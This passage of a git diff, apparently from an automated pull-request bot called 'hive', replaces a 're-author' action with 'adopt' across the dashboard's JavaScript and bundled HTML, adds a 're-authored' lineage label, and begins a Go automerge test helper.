decisionActionDirection { t.Fatalf("leads = %v", got) } }) diff --git a/src/pkg/dashboard/static-src/js/tracker-actions.js b/src/pkg/dashboard/static-src/js/tracker-actions.js index 5eeb8bbe87..bb735ff525 100644 --- a/src/pkg/dashboard/static-src/js/tracker-actions.js +++ b/src/pkg/dashboard/static-src/js/tracker-actions.js @@ -21,15 +21,15 @@ } // Pure: the DCO caveat the merge confirmations print BEFORE acting // when the stage record counted unsigned commits on the head (#15136): - // merging as-is then fails where DCO is required; re-authoring is the - // separate choice. + // merging as-is then fails where DCO is required; adopting as a hive + // PR is the separate choice. function stageTrackerDCOCaveat(items) { const rows = (Array.isArray(items) ? items : [items]).filter(it => it && Number(it.dco_unsigned) > 0); if (!rows.length) return ''; const it = rows[0]; const total = Number(it.dco_total) || 0; const of = total > 0 ? ' of ' + total + ' commit' + (total === 1 ? '' : 's') : ' commit' + (Number(it.dco_unsigned) === 1 ? '' : 's'); - return ' Before you do: ' + Number(it.dco_unsigned) + of + ' on ' + (rows.length > 1 ? 'the first of these' : 'this head') + ' lack a Signed-off-by (DCO). "Re-author as hive PR" is the separate choice for that; approving does not re-author.'; + return ' Before you do: ' + Number(it.dco_unsigned) + of + ' on ' + (rows.length > 1 ? 'the first of these' : 'this head') + ' lack a Signed-off-by (DCO). "Adopt as hive PR" is the separate choice for that; approving does not adopt.'; } const STAGE_TRACKER_ACTION_LABELS = { 'decide:delegate': 'Let hive decide', 'decide:delegate-all': 'Let hive decide β€” all PRs', 'decide:delegate:rerun': 'Re-run decision', 'decide:approve': 'Approve', 'decide:direction': 'Give direction', @@ -38,7 +38,6 @@ 'decide:close-issue': 'Close issue', 'decide:adopt': 'Adopt (hive takes over)', 'decide:queue-merge': 'Approve and let hive merge', 'decide:merge-now': 'Merge now as maintainer', - 'decide:re-author': 'Re-author as hive PR', 'decide:adopt-now': 'Adopt now β€” hive takes it over', 'decide:reroute': 'Reroute to another clanker', hold: 'Hold', release: 'Release hold', retry: 'Re-evaluate now', 'accept-triage': 'Accept triage', 'needs-human': 'Mark needs-human', open: 'Open on GitHub', copy: 'Copy link', @@ -51,8 +50,11 @@ // merger or owner only, like POST .../queue-automerge. const STAGE_TRACKER_MERGE_ACTIONS = ['decide:queue-merge', 'decide:merge-now']; // Generic items every row has; a server-named decision option with one - // of these ids is not repeated at the top of the menu. - const STAGE_TRACKER_GENERIC_ACTIONS = ['hold', 'release', 'retry', 'needs-human', 'accept-triage', 'open', 'copy', 'decide:delegate', 'decide:delegate-all', 'decide:adopt', 'decide:close-issue']; + // of these ids is not repeated at the top of the menu. `decide:adopt` + // is not generic: a row offers it either from the nudge (`adoption`) + // or as a server decision option (a contributor PR's DCO / fixer + // exhaustion, where it replaced "re-author"), never both. + const STAGE_TRACKER_GENERIC_ACTIONS = ['hold', 'release', 'retry', 'needs-human', 'accept-triage', 'open', 'copy', 'decide:delegate', 'decide:delegate-all', 'decide:close-issue']; const _stageTrackerCloseIssueBusy = new Set(); // Accept triage shows on an issue the chevron calls "Triage needed": // stage 015, or the needs-triage pill on a pre-claim stage (010 / 017 / @@ -455,7 +457,7 @@ // A nudged contributor PR the engine would adopt but for the owner's // say-so (maintainer_policy: ask) offers Adopt (hivecommons/hive#14524). if (typeof stageTrackerBlockerActions === 'function') for (const a of stageTrackerBlockerActions(item, ctx)) out.push(a); - if (typeof stageTrackerAdoptOffered === 'function' && stageTrackerAdoptOffered(item)) out.push({ id: 'decide:adopt', label: STAGE_TRACKER_ACTION_LABELS['decide:adopt'] + '…', hint: 'adoption', enabled: write && !!ctx.user, why: write && ctx.user ? '' : STAGE_TRACKER_WHY_WRITE }); + if (typeof stageTrackerAdoptOffered === 'function' && stageTrackerAdoptOffered(item) && !out.some(a => a.id === 'decide:adopt')) out.push({ id: 'decide:adopt', label: STAGE_TRACKER_ACTION_LABELS['decide:adopt'] + '…', hint: 'adoption', enabled: write && !!ctx.user, why: write && ctx.user ? '' : STAGE_TRACKER_WHY_WRITE }); // A PR waiting on a contributor's clanker offers Adopt now and Reroute // (hivecommons/hive#15038); each disabled with the server's reason. if (typeof stageTrackerTakeoverActions === 'function') for (const a of stageTrackerTakeoverActions(item, ctx, ctx.nowMs)) out.push(a); @@ -593,7 +595,7 @@ } // The hover text of an inline pill when the server sent no // `consequence`: what happens when it is pressed, in one clause. - const STAGE_TRACKER_ACTION_CONSEQUENCES = { 'decide:delegate': 'The hive decides for you under its policy and rails; recorded as your decision with an audit marker.', 'decide:re-author': 'The hive opens a fresh PR for the same issue from the current base and closes this one as superseded.', 'decide:adopt': 'The hive takes the PR over: a hive copy on its own branch; the original is closed as superseded.', 'accept-triage': 'Marks the issue accepted; the hive takes it on its next pass.' }; + const STAGE_TRACKER_ACTION_CONSEQUENCES = { 'decide:delegate': 'The hive decides for you under its policy and rails; recorded as your decision with an audit marker.', 'decide:adopt': 'The hive takes the PR over: a hive copy on its own branch; the original is closed as superseded.', 'accept-triage': 'Marks the issue accepted; the hive takes it on its next pass.' }; // A row's inline pills are buttons and must read as buttons beside the // record pills they share a slot with ("adopted from #N", the base // branch): a filled chip β€” ham-act-primary (the lead), ham-act-secondary @@ -945,6 +947,13 @@ const pr = stageTrackerLinkedPRItem(item, asking[0]); return { key: stageTrackerItemKey(pr), item: pr }; } + // Pure: whether the row's decision card (its own or its one parked + // PR's) offers the server option `action`. + function stageTrackerServerOption(item, action) { + const dec = stageTrackerDecisionOf(item); + const d = dec && dec.item && dec.item.decision_needed; + return !!(d && Array.isArray(d.options) && d.options.some(o => o && o.action === action)); + } // Pure: the trigger β€” the chevron word or the pill, as a button that // owns the popover. No native title: the popover is the hover text. function stageTrackerDecisionTriggerHtml(decision, innerHtml, tip, cls) { @@ -1966,10 +1975,6 @@ } case 'decide:queue-merge': return (await stageTrackerAsk(id, 'confirm', { title: 'Approve and let hive merge', message: preface + 'Approve ' + refs + ' as ' + who + '? Your approval stands in for the author\'s trust on this version: hive merges it as-is through its own App on the next tick once CI is green, and will not adopt or re-author it.' + stageTrackerDCOCaveat(items), confirmLabel: 'Approve' })) ? {} : null; - case 'decide:re-author': { - const caveat = stageTrackerDCOCaveat(items); - return (await stageTrackerAsk(id, 'confirm', { title: 'Re-author as hive PR', message: preface + 'Have the hive re-author ' + refs + ' as ' + who + '?' + (caveat || ' Its head cannot merge as-is.') + ' The hive re-homes the commits on a hive-owned, signed-off branch and opens a superseding PR; this one is closed when that merges. Nothing is merged as-is, and the author\'s commits stay attributed.', confirmLabel: 'Re-author', danger: true })) ? {} : null; - } case 'decide:adopt': { const why = items.map(it => stageTrackerAdoptionTip(it)).filter(Boolean).join('\n'); return (await hiveConfirm({ title: 'Adopt pull request' + (items.length > 1 ? 's' : ''), message: (why ? why + '\n\n' : '') + 'Have the hive adopt ' + refs + ' as ' + who + '? The author\'s commits and sign-off are kept; the hive rebases and fixes CI (in place when GitHub allows, else on a superseding hive PR that closes this one when it merges). Recorded as your decision on the PR.', confirmLabel: 'Adopt' })) ? {} : null; @@ -2077,7 +2082,7 @@ 'hold': 'Holding…', 'release': 'Releasing hold…', 'retry': 'Re-evaluating…', 'needs-human': 'Marking needs-human…', 'accept-triage': 'Accepting triage…', 'blocker:recheck': 'Checking App permissions…', 'blocker:close-partial': 'Closing as partial…', 'decide:delegate': 'Hive deciding…', 'decide:delegate:preview': 'Asking the hive…', 'decide:delegate-all': 'Hive deciding each PR…', 'decide:delegate:rerun': 'Hive deciding again…', 'decide:approve': 'Approving…', 'decide:direction': 'Recording direction…', 'decide:close-superseded': 'Closing…', 'decide:close-wontfix': 'Closing…', 'decide:close-read': 'Closing…', 'decide:close-issue': 'Closing…', - 'decide:merge-now': 'Merging…', 'decide:queue-merge': 'Recording approval…', 'decide:re-author': 'Queuing re-authoring…', + 'decide:merge-now': 'Merging…', 'decide:queue-merge': 'Recording approval…', 'decide:adopt': 'Adopting…', 'decide:adopt-now': 'Adopting now…', 'decide:reroute': 'Rerouting…', }; const STAGE_TRACKER_ACTION_WORDS = { @@ -2096,7 +2101,7 @@ } // The ledger name of a row action id (the inverse of the badge's // STAGE_TRACKER_ACTED_OPTION_ID), for a failure noted on the client. - const STAGE_TRACKER_ACTION_LEDGER_NAME = { 'decide:delegate': 'let-hive-decide', 'decide:approve': 'approve', 'decide:direction': 'give-direction', 'decide:close-superseded': 'close-superseded', 'decide:close-wontfix': 'wontfix', 'decide:close-read': 'close-read', 'decide:close-issue': 'close-issue', 'accept-triage': 'accept-triage', hold: 'hold', release: 'release', 'needs-human': 'mark-needs-human', 'decide:merge-now': 'merge-now', 'decide:queue-merge': 'queue-merge', 'decide:re-author': 're-author', 'decide:adopt': 'adopt', 'decide:adopt-now': 'adopt-now', 'decide:reroute': 'reroute' }; + const STAGE_TRACKER_ACTION_LEDGER_NAME = { 'decide:delegate': 'let-hive-decide', 'decide:approve': 'approve', 'decide:direction': 'give-direction', 'decide:close-superseded': 'close-superseded', 'decide:close-wontfix': 'wontfix', 'decide:close-read': 'close-read', 'decide:close-issue': 'close-issue', 'accept-triage': 'accept-triage', hold: 'hold', release: 'release', 'needs-human': 'mark-needs-human', 'decide:merge-now': 'merge-now', 'decide:queue-merge': 'queue-merge', 'decide:adopt': 'adopt', 'decide:adopt-now': 'adopt-now', 'decide:reroute': 'reroute' }; // A failed or refused action is noted on the row at once, so the // history badge turns red and its hover's first line names the reason // β€” the server's ledger only sees 5xx and refused answers, and a @@ -2442,8 +2447,9 @@ return { toasts: [], pending: [] }; } if (id === 'decide:adopt') { - // Adopt acts on the nudged PR row itself (072, not a decision park). - items = items.filter(stageTrackerAdoptOffered); + // Adopt acts on the nudged PR row itself (072, not a decision park) + // or on the row whose decision card offers it. + items = items.filter(it => stageTrackerAdoptOffered(it) || stageTrackerServerOption(it, 'decide:adopt')); if (!items.length) return { toasts: [], pending: [] }; } else if (id === 'decide:delegate-all') { // The issue row itself is the request; the server fans out per PR. diff --git a/src/pkg/dashboard/static-src/js/tracker-row-acted.js b/src/pkg/dashboard/static-src/js/tracker-row-acted.js index 4e1152e25c..fe51617565 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-acted.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-acted.js @@ -94,7 +94,7 @@ } // Row-menu action id each ledger action was submitted under, so the // option the owner just took is not offered back to them. - const STAGE_TRACKER_ACTED_OPTION_ID = { 'let-hive-decide': 'decide:delegate', approve: 'decide:approve', 'give-direction': 'decide:direction', 'close-superseded': 'decide:close-superseded', wontfix: 'decide:close-wontfix', 'close-read': 'decide:close-read', 'close-issue': 'decide:close-issue', 'accept-triage': 'accept-triage', hold: 'hold', 'merge-now': 'decide:merge-now', 'queue-merge': 'decide:queue-merge', 're-author': 'decide:re-author', adopt: 'decide:adopt', 'adopt-now': 'decide:adopt-now', reroute: 'decide:reroute' }; + const STAGE_TRACKER_ACTED_OPTION_ID = { 'let-hive-decide': 'decide:delegate', approve: 'decide:approve', 'give-direction': 'decide:direction', 'close-superseded': 'decide:close-superseded', wontfix: 'decide:close-wontfix', 'close-read': 'decide:close-read', 'close-issue': 'decide:close-issue', 'accept-triage': 'accept-triage', hold: 'hold', 'merge-now': 'decide:merge-now', 'queue-merge': 'decide:queue-merge', 're-author': 'decide:adopt', adopt: 'decide:adopt', 'adopt-now': 'decide:adopt-now', reroute: 'decide:reroute' }; // Pure: what the owner can still do when their action changed nothing // (no-op) or the item has not moved (stuck): the enabled options from // the row's decision_needed payload, minus the one just taken. diff --git a/src/pkg/dashboard/static-src/js/tracker-row-layout.js b/src/pkg/dashboard/static-src/js/tracker-row-layout.js index 3d887e7022..5eddda2932 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-layout.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-layout.js @@ -128,13 +128,17 @@ if (l.kind === 'superseded') return Number(l.to_number) > 0 ? 'superseded by #' + Number(l.to_number) + tail : ''; if (!(Number(l.from_number) > 0)) return ''; const whose = l.from_author ? '@' + l.from_author + "'s " : ''; - return (l.kind === 'rebased-by-hive' ? 'rebased by hive from ' : 'adopted from ') + whose + '#' + Number(l.from_number) + tail; + // "re-authored from #N" is the hive rewriting its OWN exhausted PR; + // "adopted from" is a contributor's PR the hive took over. + const verb = l.kind === 'rebased-by-hive' ? 'rebased by hive from ' : l.kind === 're-authored' ? 're-authored from ' : 'adopted from '; + return verb + whose + '#' + Number(l.from_number) + tail; } // Pure: the hover β€” why the hive took it over, in plain words. function stageTrackerLineageTip(item) { const l = item && item.lineage; if (!l || !l.kind) return ''; if (l.kind === 'superseded') return 'Hive took this PR over as #' + Number(l.to_number) + '; this original is closed when that merges.'; + if (l.kind === 're-authored') return "Hive's fixer gave up on its own #" + Number(l.from_number) + ', so the hive closed it as superseded and opened this fresh PR from the current base.' + stageTrackerSupersededOriginalClause(Number(l.from_number), l.from_state); const who = l.from_author ? '@' + l.from_author : 'the contributor'; const tip = STAGE_TRACKER_LINEAGE_REASON_TIP[l.reason] || STAGE_TRACKER_LINEAGE_REASON_TIP['ci-red-contributor-offline']; return tip.split('@AUTHOR').join(who) + stageTrackerSupersededOriginalClause(Number(l.from_number), l.from_state); @@ -165,7 +169,7 @@ let l = item && item.lineage; if (!l && item && item.kind === 'issue' && Array.isArray(item.linked_prs) && item.linked_prs.length === 1) l = item.linked_prs[0].lineage; if (!l || !(Number(l.from_number) > 0) || l.kind === 'superseded') return ''; - return ' (adopted from #' + Number(l.from_number) + ')'; + return (l.kind === 're-authored' ? ' (re-authored from #' : ' (adopted from #') + Number(l.from_number) + ')'; } // Pure: the "↳ adopted from #N Β· you let hive decide 17:51" chip on the // hive's copy of an adopted PR (hivecommons/hive#15126). diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index 84db14c17f..abad2076a8 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -653,6 +653,9 @@ 'let-hive-decide': 'Let hive decide', hold: 'Hold', release: 'Release hold', 'accept-triage': 'Accept triage', 'mark-needs-human': 'Mark needs-human', 'queue-merge': 'Approve and let hive merge', 'merge-now': 'Merge now as maintainer', adopt: 'Adopt', 'adopt-now': 'Adopt now', reroute: 'Reroute to another clanker', + // Historical ledger entries only: the hive now re-authors its own + // exhausted PRs itself and a person's rewrite of a contributor PR is adopt. + 're-author': 'Re-author (now: adopt)', }; // "Rebase, then merge as maintainer" is merge-now on a row that needs a // rebase (hivecommons/hive#14822): the server relabels the option and diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 1e9f8c1bf2..dd7a24de25 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -18758,6 +18758,9 @@ <h3 class="faq-group-title">Where to get help</h3> 'let-hive-decide': 'Let hive decide', hold: 'Hold', release: 'Release hold', 'accept-triage': 'Accept triage', 'mark-needs-human': 'Mark needs-human', 'queue-merge': 'Approve and let hive merge', 'merge-now': 'Merge now as maintainer', adopt: 'Adopt', 'adopt-now': 'Adopt now', reroute: 'Reroute to another clanker', + // Historical ledger entries only: the hive now re-authors its own + // exhausted PRs itself and a person's rewrite of a contributor PR is adopt. + 're-author': 'Re-author (now: adopt)', }; // "Rebase, then merge as maintainer" is merge-now on a row that needs a // rebase (hivecommons/hive#14822): the server relabels the option and @@ -18872,7 +18875,7 @@ <h3 class="faq-group-title">Where to get help</h3> } // Row-menu action id each ledger action was submitted under, so the // option the owner just took is not offered back to them. - const STAGE_TRACKER_ACTED_OPTION_ID = { 'let-hive-decide': 'decide:delegate', approve: 'decide:approve', 'give-direction': 'decide:direction', 'close-superseded': 'decide:close-superseded', wontfix: 'decide:close-wontfix', 'close-read': 'decide:close-read', 'close-issue': 'decide:close-issue', 'accept-triage': 'accept-triage', hold: 'hold', 'merge-now': 'decide:merge-now', 'queue-merge': 'decide:queue-merge', 're-author': 'decide:re-author', adopt: 'decide:adopt', 'adopt-now': 'decide:adopt-now', reroute: 'decide:reroute' }; + const STAGE_TRACKER_ACTED_OPTION_ID = { 'let-hive-decide': 'decide:delegate', approve: 'decide:approve', 'give-direction': 'decide:direction', 'close-superseded': 'decide:close-superseded', wontfix: 'decide:close-wontfix', 'close-read': 'decide:close-read', 'close-issue': 'decide:close-issue', 'accept-triage': 'accept-triage', hold: 'hold', 'merge-now': 'decide:merge-now', 'queue-merge': 'decide:queue-merge', 're-author': 'decide:adopt', adopt: 'decide:adopt', 'adopt-now': 'decide:adopt-now', reroute: 'decide:reroute' }; // Pure: what the owner can still do when their action changed nothing // (no-op) or the item has not moved (stuck): the enabled options from // the row's decision_needed payload, minus the one just taken. @@ -19203,13 +19206,17 @@ <h3 class="faq-group-title">Where to get help</h3> if (l.kind === 'superseded') return Number(l.to_number) > 0 ? 'superseded by #' + Number(l.to_number) + tail : ''; if (!(Number(l.from_number) > 0)) return ''; const whose = l.from_author ? '@' + l.from_author + "'s " : ''; - return (l.kind === 'rebased-by-hive' ? 'rebased by hive from ' : 'adopted from ') + whose + '#' + Number(l.from_number) + tail; + // "re-authored from #N" is the hive rewriting its OWN exhausted PR; + // "adopted from" is a contributor's PR the hive took over. + const verb = l.kind === 'rebased-by-hive' ? 'rebased by hive from ' : l.kind === 're-authored' ? 're-authored from ' : 'adopted from '; + return verb + whose + '#' + Number(l.from_number) + tail; } // Pure: the hover β€” why the hive took it over, in plain words. function stageTrackerLineageTip(item) { const l = item && item.lineage; if (!l || !l.kind) return ''; if (l.kind === 'superseded') return 'Hive took this PR over as #' + Number(l.to_number) + '; this original is closed when that merges.'; + if (l.kind === 're-authored') return "Hive's fixer gave up on its own #" + Number(l.from_number) + ', so the hive closed it as superseded and opened this fresh PR from the current base.' + stageTrackerSupersededOriginalClause(Number(l.from_number), l.from_state); const who = l.from_author ? '@' + l.from_author : 'the contributor'; const tip = STAGE_TRACKER_LINEAGE_REASON_TIP[l.reason] || STAGE_TRACKER_LINEAGE_REASON_TIP['ci-red-contributor-offline']; return tip.split('@AUTHOR').join(who) + stageTrackerSupersededOriginalClause(Number(l.from_number), l.from_state); @@ -19240,7 +19247,7 @@ <h3 class="faq-group-title">Where to get help</h3> let l = item && item.lineage; if (!l && item && item.kind === 'issue' && Array.isArray(item.linked_prs) && item.linked_prs.length === 1) l = item.linked_prs[0].lineage; if (!l || !(Number(l.from_number) > 0) || l.kind === 'superseded') return ''; - return ' (adopted from #' + Number(l.from_number) + ')'; + return (l.kind === 're-authored' ? ' (re-authored from #' : ' (adopted from #') + Number(l.from_number) + ')'; } // Pure: the "↳ adopted from #N Β· you let hive decide 17:51" chip on the // hive's copy of an adopted PR (hivecommons/hive#15126). @@ -22077,15 +22084,15 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> } // Pure: the DCO caveat the merge confirmations print BEFORE acting // when the stage record counted unsigned commits on the head (#15136): - // merging as-is then fails where DCO is required; re-authoring is the - // separate choice. + // merging as-is then fails where DCO is required; adopting as a hive + // PR is the separate choice. function stageTrackerDCOCaveat(items) { const rows = (Array.isArray(items) ? items : [items]).filter(it => it && Number(it.dco_unsigned) > 0); if (!rows.length) return ''; const it = rows[0]; const total = Number(it.dco_total) || 0; const of = total > 0 ? ' of ' + total + ' commit' + (total === 1 ? '' : 's') : ' commit' + (Number(it.dco_unsigned) === 1 ? '' : 's'); - return ' Before you do: ' + Number(it.dco_unsigned) + of + ' on ' + (rows.length > 1 ? 'the first of these' : 'this head') + ' lack a Signed-off-by (DCO). "Re-author as hive PR" is the separate choice for that; approving does not re-author.'; + return ' Before you do: ' + Number(it.dco_unsigned) + of + ' on ' + (rows.length > 1 ? 'the first of these' : 'this head') + ' lack a Signed-off-by (DCO). "Adopt as hive PR" is the separate choice for that; approving does not adopt.'; } const STAGE_TRACKER_ACTION_LABELS = { 'decide:delegate': 'Let hive decide', 'decide:delegate-all': 'Let hive decide β€” all PRs', 'decide:delegate:rerun': 'Re-run decision', 'decide:approve': 'Approve', 'decide:direction': 'Give direction', @@ -22094,7 +22101,6 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> 'decide:close-issue': 'Close issue', 'decide:adopt': 'Adopt (hive takes over)', 'decide:queue-merge': 'Approve and let hive merge', 'decide:merge-now': 'Merge now as maintainer', - 'decide:re-author': 'Re-author as hive PR', 'decide:adopt-now': 'Adopt now β€” hive takes it over', 'decide:reroute': 'Reroute to another clanker', hold: 'Hold', release: 'Release hold', retry: 'Re-evaluate now', 'accept-triage': 'Accept triage', 'needs-human': 'Mark needs-human', open: 'Open on GitHub', copy: 'Copy link', @@ -22107,8 +22113,11 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> // merger or owner only, like POST .../queue-automerge. const STAGE_TRACKER_MERGE_ACTIONS = ['decide:queue-merge', 'decide:merge-now']; // Generic items every row has; a server-named decision option with one - // of these ids is not repeated at the top of the menu. - const STAGE_TRACKER_GENERIC_ACTIONS = ['hold', 'release', 'retry', 'needs-human', 'accept-triage', 'open', 'copy', 'decide:delegate', 'decide:delegate-all', 'decide:adopt', 'decide:close-issue']; + // of these ids is not repeated at the top of the menu. `decide:adopt` + // is not generic: a row offers it either from the nudge (`adoption`) + // or as a server decision option (a contributor PR's DCO / fixer + // exhaustion, where it replaced "re-author"), never both. + const STAGE_TRACKER_GENERIC_ACTIONS = ['hold', 'release', 'retry', 'needs-human', 'accept-triage', 'open', 'copy', 'decide:delegate', 'decide:delegate-all', 'decide:close-issue']; const _stageTrackerCloseIssueBusy = new Set(); // Accept triage shows on an issue the chevron calls "Triage needed": // stage 015, or the needs-triage pill on a pre-claim stage (010 / 017 / @@ -22511,7 +22520,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> // A nudged contributor PR the engine would adopt but for the owner's // say-so (maintainer_policy: ask) offers Adopt (hivecommons/hive#14524). if (typeof stageTrackerBlockerActions === 'function') for (const a of stageTrackerBlockerActions(item, ctx)) out.push(a); - if (typeof stageTrackerAdoptOffered === 'function' && stageTrackerAdoptOffered(item)) out.push({ id: 'decide:adopt', label: STAGE_TRACKER_ACTION_LABELS['decide:adopt'] + '…', hint: 'adoption', enabled: write && !!ctx.user, why: write && ctx.user ? '' : STAGE_TRACKER_WHY_WRITE }); + if (typeof stageTrackerAdoptOffered === 'function' && stageTrackerAdoptOffered(item) && !out.some(a => a.id === 'decide:adopt')) out.push({ id: 'decide:adopt', label: STAGE_TRACKER_ACTION_LABELS['decide:adopt'] + '…', hint: 'adoption', enabled: write && !!ctx.user, why: write && ctx.user ? '' : STAGE_TRACKER_WHY_WRITE }); // A PR waiting on a contributor's clanker offers Adopt now and Reroute // (hivecommons/hive#15038); each disabled with the server's reason. if (typeof stageTrackerTakeoverActions === 'function') for (const a of stageTrackerTakeoverActions(item, ctx, ctx.nowMs)) out.push(a); @@ -22649,7 +22658,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> } // The hover text of an inline pill when the server sent no // `consequence`: what happens when it is pressed, in one clause. - const STAGE_TRACKER_ACTION_CONSEQUENCES = { 'decide:delegate': 'The hive decides for you under its policy and rails; recorded as your decision with an audit marker.', 'decide:re-author': 'The hive opens a fresh PR for the same issue from the current base and closes this one as superseded.', 'decide:adopt': 'The hive takes the PR over: a hive copy on its own branch; the original is closed as superseded.', 'accept-triage': 'Marks the issue accepted; the hive takes it on its next pass.' }; + const STAGE_TRACKER_ACTION_CONSEQUENCES = { 'decide:delegate': 'The hive decides for you under its policy and rails; recorded as your decision with an audit marker.', 'decide:adopt': 'The hive takes the PR over: a hive copy on its own branch; the original is closed as superseded.', 'accept-triage': 'Marks the issue accepted; the hive takes it on its next pass.' }; // A row's inline pills are buttons and must read as buttons beside the // record pills they share a slot with ("adopted from #N", the base // branch): a filled chip β€” ham-act-primary (the lead), ham-act-secondary @@ -23001,6 +23010,13 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> const pr = stageTrackerLinkedPRItem(item, asking[0]); return { key: stageTrackerItemKey(pr), item: pr }; } + // Pure: whether the row's decision card (its own or its one parked + // PR's) offers the server option `action`. + function stageTrackerServerOption(item, action) { + const dec = stageTrackerDecisionOf(item); + const d = dec && dec.item && dec.item.decision_needed; + return !!(d && Array.isArray(d.options) && d.options.some(o => o && o.action === action)); + } // Pure: the trigger β€” the chevron word or the pill, as a button that // owns the popover. No native title: the popover is the hover text. function stageTrackerDecisionTriggerHtml(decision, innerHtml, tip, cls) { @@ -24022,10 +24038,6 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> } case 'decide:queue-merge': return (await stageTrackerAsk(id, 'confirm', { title: 'Approve and let hive merge', message: preface + 'Approve ' + refs + ' as ' + who + '? Your approval stands in for the author\'s trust on this version: hive merges it as-is through its own App on the next tick once CI is green, and will not adopt or re-author it.' + stageTrackerDCOCaveat(items), confirmLabel: 'Approve' })) ? {} : null; - case 'decide:re-author': { - const caveat = stageTrackerDCOCaveat(items); - return (await stageTrackerAsk(id, 'confirm', { title: 'Re-author as hive PR', message: preface + 'Have the hive re-author ' + refs + ' as ' + who + '?' + (caveat || ' Its head cannot merge as-is.') + ' The hive re-homes the commits on a hive-owned, signed-off branch and opens a superseding PR; this one is closed when that merges. Nothing is merged as-is, and the author\'s commits stay attributed.', confirmLabel: 'Re-author', danger: true })) ? {} : null; - } case 'decide:adopt': { const why = items.map(it => stageTrackerAdoptionTip(it)).filter(Boolean).join('\n'); return (await hiveConfirm({ title: 'Adopt pull request' + (items.length > 1 ? 's' : ''), message: (why ? why + '\n\n' : '') + 'Have the hive adopt ' + refs + ' as ' + who + '? The author\'s commits and sign-off are kept; the hive rebases and fixes CI (in place when GitHub allows, else on a superseding hive PR that closes this one when it merges). Recorded as your decision on the PR.', confirmLabel: 'Adopt' })) ? {} : null; @@ -24133,7 +24145,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> 'hold': 'Holding…', 'release': 'Releasing hold…', 'retry': 'Re-evaluating…', 'needs-human': 'Marking needs-human…', 'accept-triage': 'Accepting triage…', 'blocker:recheck': 'Checking App permissions…', 'blocker:close-partial': 'Closing as partial…', 'decide:delegate': 'Hive deciding…', 'decide:delegate:preview': 'Asking the hive…', 'decide:delegate-all': 'Hive deciding each PR…', 'decide:delegate:rerun': 'Hive deciding again…', 'decide:approve': 'Approving…', 'decide:direction': 'Recording direction…', 'decide:close-superseded': 'Closing…', 'decide:close-wontfix': 'Closing…', 'decide:close-read': 'Closing…', 'decide:close-issue': 'Closing…', - 'decide:merge-now': 'Merging…', 'decide:queue-merge': 'Recording approval…', 'decide:re-author': 'Queuing re-authoring…', + 'decide:merge-now': 'Merging…', 'decide:queue-merge': 'Recording approval…', 'decide:adopt': 'Adopting…', 'decide:adopt-now': 'Adopting now…', 'decide:reroute': 'Rerouting…', }; const STAGE_TRACKER_ACTION_WORDS = { @@ -24152,7 +24164,7 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> } // The ledger name of a row action id (the inverse of the badge's // STAGE_TRACKER_ACTED_OPTION_ID), for a failure noted on the client. - const STAGE_TRACKER_ACTION_LEDGER_NAME = { 'decide:delegate': 'let-hive-decide', 'decide:approve': 'approve', 'decide:direction': 'give-direction', 'decide:close-superseded': 'close-superseded', 'decide:close-wontfix': 'wontfix', 'decide:close-read': 'close-read', 'decide:close-issue': 'close-issue', 'accept-triage': 'accept-triage', hold: 'hold', release: 'release', 'needs-human': 'mark-needs-human', 'decide:merge-now': 'merge-now', 'decide:queue-merge': 'queue-merge', 'decide:re-author': 're-author', 'decide:adopt': 'adopt', 'decide:adopt-now': 'adopt-now', 'decide:reroute': 'reroute' }; + const STAGE_TRACKER_ACTION_LEDGER_NAME = { 'decide:delegate': 'let-hive-decide', 'decide:approve': 'approve', 'decide:direction': 'give-direction', 'decide:close-superseded': 'close-superseded', 'decide:close-wontfix': 'wontfix', 'decide:close-read': 'close-read', 'decide:close-issue': 'close-issue', 'accept-triage': 'accept-triage', hold: 'hold', release: 'release', 'needs-human': 'mark-needs-human', 'decide:merge-now': 'merge-now', 'decide:queue-merge': 'queue-merge', 'decide:adopt': 'adopt', 'decide:adopt-now': 'adopt-now', 'decide:reroute': 'reroute' }; // A failed or refused action is noted on the row at once, so the // history badge turns red and its hover's first line names the reason // β€” the server's ledger only sees 5xx and refused answers, and a @@ -24498,8 +24510,9 @@ <h2 class="config-title" id="activity-monitor-labels-title">All labels</h2> return { toasts: [], pending: [] }; } if (id === 'decide:adopt') { - // Adopt acts on the nudged PR row itself (072, not a decision park). - items = items.filter(stageTrackerAdoptOffered); + // Adopt acts on the nudged PR row itself (072, not a decision park) + // or on the row whose decision card offers it. + items = items.filter(it => stageTrackerAdoptOffered(it) || stageTrackerServerOption(it, 'decide:adopt')); if (!items.length) return { toasts: [], pending: [] }; } else if (id === 'decide:delegate-all') { // The issue row itself is the request; the server fans out per PR. diff --git a/src/pkg/github/automerge/automerge_fixer_exhausted_test.go b/src/pkg/github/automerge/automerge_fixer_exhausted_test.go index ed195c64ed..ff3e80b37e 100644 --- a/src/pkg/github/automerge/automerge_fixer_exhausted_test.go +++ b/src/pkg/github/automerge/automerge_fixer_exhausted_test.go @@ -1,6 +1,7 @@ package automerge import ( + "slices" "strings" "testing" "time" @@ -37,6 +38,14 @@ func hiveFixingPR(number int, head string, labels ...string) *gh.PullRequest { return pr } +// hiveFixingPRNoIssue is a hive PR that closes no issue: nothing to +// re-author for, so exhaustion parks it for a person. +func hiveFixingPRNoIssue(number int, head string, labels ...string) *gh.PullRequest { + pr := hiveFixingPR(number, head, labels...) + pr.Body = gh.Ptr("Tidy the widget.\n\nβ€” hive: backend=pi model=gpt-6\n") + return pr +} + func decisionComments(api 